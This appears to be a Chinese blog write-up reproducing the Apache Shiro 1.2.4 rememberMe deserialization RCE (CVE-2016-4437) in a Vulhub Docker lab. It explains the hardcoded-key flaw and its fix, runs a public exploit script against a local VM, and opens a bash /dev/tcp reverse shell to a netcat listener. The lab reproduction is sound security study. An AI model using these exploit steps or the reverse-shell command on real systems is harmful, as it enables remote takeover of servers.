复现 Apache Shiro 1.2.4 反序列化漏洞

参考 Apache Shiro 1.2.4 反序列化漏洞(CVE-2016-4437)shiro-1.2.4-rce学习Shiro 1.2.4反序列化漏洞(CVE-2016-4437)Insecure deserialization

原理

Shiro 提供 rememberMe 功能,如果在登录时选择记住,则服务器会返回 Shiro 生成的 rememberMe Cookie,该 Cookie 存储使用 AES 加密和 Base64 编码处理过的序列化对象(包含用户信息)。在 Shiro <= 1.2.4 的版本中,密钥被硬编码在框架源码中,且没有限制反序列化的类型。攻击者可以利用密钥构造恶意的 Cookie,让服务器在反序列化时执行指定的命令(通过调用 Runtime.getRuntime().exec(xxx) 方法)。解决方案,不使用默认密钥,设置反序列化类型白名单。

复现

直接使用 Vulhub 提供的漏洞环境,使用以下命令启动 Docker 容器。对应的镜像不在 public-image-mirror 的白名单中,我们使用镜像加速里面的其它镜像源。

1
2
3
git clone --depth 1 https://github.com/vulhub/vulhub
cd vulhub/shiro/CVE-2016-4437
docker compose up -d

使用 ip addr 命令查到虚拟机 ip 地址为 192.168.2.9,然后通过 http://192.168.2.9:8080 访问虚拟机上运行的 Web 服务,默认的用户名和密码是 admin:vulhub

使用 shiro-1.2.4-rce 检测漏洞,执行以下命令,报错 ModuleNotFoundError: No module named 'Crypto',使用 pip3 install pycryptodome 安装依赖解决。检测到漏洞之后,输入目标系统类型为 linux。

1
python3 shiro-1.2.4_rce.py http://192.168.2.9:8080

在其他终端使用 nc -lvp 7777 命令监听本机端口(未被占用),然后在原终端输入希望利用反序列化漏洞在目标服务器上执行的命令。我们使用以下命令反弹 Shell,其中的 192.168.2.4 是本机 ip,7777 是刚才监听的端口。该命令的作用是让目标服务器主动向本机建立连接,目标服务器的标准输入、标准输出和标准错误都重定向到本机指定端口。执行 ls 命令可以看到目标服务器返回的输出,成功复现漏洞。

1
bash -i >&/dev/tcp/192.168.2.4/7777 0>&1

最后可以使用以下命令清理环境。

1
docker compose down -v
作者

Ligh0x74

发布于

2025-09-21

更新于

2025-09-21

许可协议

评论